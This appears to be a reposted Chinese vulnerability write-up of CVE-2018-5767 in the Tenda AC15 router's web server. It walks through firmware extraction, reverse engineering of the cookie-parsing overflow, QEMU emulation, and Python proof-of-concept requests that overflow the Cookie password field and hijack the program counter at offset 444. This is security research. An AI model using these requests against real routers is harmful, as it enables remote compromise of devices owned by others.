1

IoT 安全之 CVE-2018-5767 分析

 1 year ago
source link: https://paper.seebug.org/2065/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:Ryze-T
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

0x00 简介

固件下载地址:https://us.softpedia-secure-download.com/dl/50b0d70af21488030c14cb2bd30e63b3/63008144/300482999/drivers/router/US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar

CVE 详情:

image

从 Description 中可知,由 COOIKE 请求头中的 password 参数触发远程代码执行漏洞,因此固件中要分析的文件应该是 HTTP 相关的文件。

0x01 固件提取

binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

得到 squashfs-root 文件夹。bin 文件下有个 httpd 二进制文件:

image

arm32 架构的程序。

0x02 分析

搜索 web 相关函数:

image

百度搜索这些函数,会发现这使用的是 goAhead 框架。字符串搜索 .1 找到一个 2.1.8,很像是版本号,搜索下载 goAhead 2.1.8。其中 webs.h 中有一个结构体:

typedef struct websRec {
    ringq_t            header;                /* Header dynamic string */
    time_t            since;                /* Parsed if-modified-since time */
    sym_fd_t        cgiVars;            /* CGI standard variables */
    sym_fd_t        cgiQuery;            /* CGI decoded query string */
    time_t            timestamp;            /* Last transaction with browser */
    int            timeout;            /* Timeout handle */
    char_t            ipaddr[32];            /* Connecting ipaddress */
    char_t            type[64];            /* Mime type */
    char_t            *dir;                /* Directory containing the page */
    char_t            *path;                /* Path name without query */
    char_t            *url;                /* Full request url */
    char_t            *host;                /* Requested host */
    char_t            *lpath;                /* Cache local path name */
    char_t            *query;                /* Request query */
    char_t            *decodedQuery;        /* Decoded request query */
    char_t            *authType;            /* Authorization type (Basic/DAA) */
    char_t            *password;            /* Authorization password */
    char_t            *userName;            /* Authorization username */
    char_t            *cookie;            /* Cookie string */
    char_t            *userAgent;            /* User agent (browser) */
    char_t            *protocol;            /* Protocol (normally HTTP) */
    char_t            *protoVersion;        /* Protocol version */
    int            sid;                /* Socket id (handler) */
    int            listenSid;            /* Listen Socket id */
    int            port;                /* Request port number */
    int            state;                /* Current state */
    int            flags;                /* Current flags -- see above */
    int            code;                /* Request result code */
    int            clen;                /* Content length */
    int            wid;                /* Index into webs */
    char_t            *cgiStdin;            /* filename for CGI stdin */
    int            docfd;                /* Document file descriptor */
    int            numbytes;            /* Bytes to transfer to browser */
    int            written;            /* Bytes actually transferred */
    void            (*writeSocket)(struct websRec *wp);
} websRec;

typedef websRec    *webs_t;
typedef websRec websType;

找到里面特殊的 ringq_t 结构体:

typedef struct {
    unsigned char    *buf;                /* Holding buffer for data */
    unsigned char    *servp;                /* Pointer to start of data */
    unsigned char    *endp;                /* Pointer to end of data */
    unsigned char    *endbuf;            /* Pointer to end of buffer */
    int                buflen;                /* Length of ring queue */
    int                maxsize;            /* Maximum size */
    int                increment;            /* Growth increment */
} ringq_t;

sym_fd_t 其实就是 int,char_t 就是 char。

格式化后将这两个结构体导入到 IDA 中。

image

goAhead 2.1.8 的 main.c 中有一段:

image

IDA pro 中 sub_2D3F0 也有类似的一段:

image

这个 R7WebSceurityHandler 应该是二次开发的函数。

WebSceurityHandler 函数官方文档表明是用来做默认 URL 的安全策略的函数,若需要替换安全策略,可以修改该函数。

其函数原型如下:

 #include "webs.h" 

 int websSecurityHandler(webs_t wp, char_t *url, char_t *path, char_t *query);

再来看 R7WebsSecurityHandler,往下翻翻就能看见一个未经限制的 sscanf:

image

对照 WebSceurityHandler,将 a1 替换成之前的 websRec 结构体:

image

漏洞触发点出来了,cookie 中 password 的值未经过滤,可能会导致栈溢出。

但是要达到这条路径没有那么简单,还有一些条件:

image

因此需要找一个符合条件的目录,比如 goform/execCommand。

0x03 固件模拟

qemu-arm 指定根路径启动httpd:

qemu-arm -L ./  ./bin/httpd
image

找到关键词:

image

有一个关于 check_network函数的校验,可能会导致死循环,先patch掉:

image

再次运行还是报错:

image

再次搜索关键词,发现触发了 ConnectCfm(v2) 的判断,再patch,再执行:

image

监听255.255.255.255了,这里配置一下桥接网络。

apt install uml-utilities bridge-utils
brctl addbr br0
brctl addif br0 eth0
ifconfig br0 up
dhclient br0
chroot ./ ./qemu-arm-static ./bin/httpd
image
image

0x04 PoC

import requests

url = "http://10.211.55.21:80/goform/execCommand"

payload = 'a' * 500
headers = {
    'Cookie': 'password="' + payload + '"'
}

print(headers)

response = requests.request("GET", url, headers=headers)

gdb-multiarch 调试一下,程序断在这:

image

可以看到,r3已经被覆盖为 'aaaa',由于程序访问了r3处的内存,造成内存读取错误,程序并没有走到函数返回处。

通过对花括号的匹配,漏洞触发点后续的代码运行都取决于93-100行的判断:

image

此判断是判断 url 中是否包含一些特征字符,那么只需要在url后加入 .png 就可以使判断失败,从而直接运行到函数尾部。

但在在判断前,url已经被我们所覆盖,因此只要在payload中加上.png就可以完成目标。

再次尝试并计算偏移:

import requests

url = "http://10.211.55.21:80/goform/execCommand"

payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
    'Cookie': 'password=' + payload
}

print(headers)

response = requests.request("GET", url, headers=headers)
image

PC被劫持,且偏移为444。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2065/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK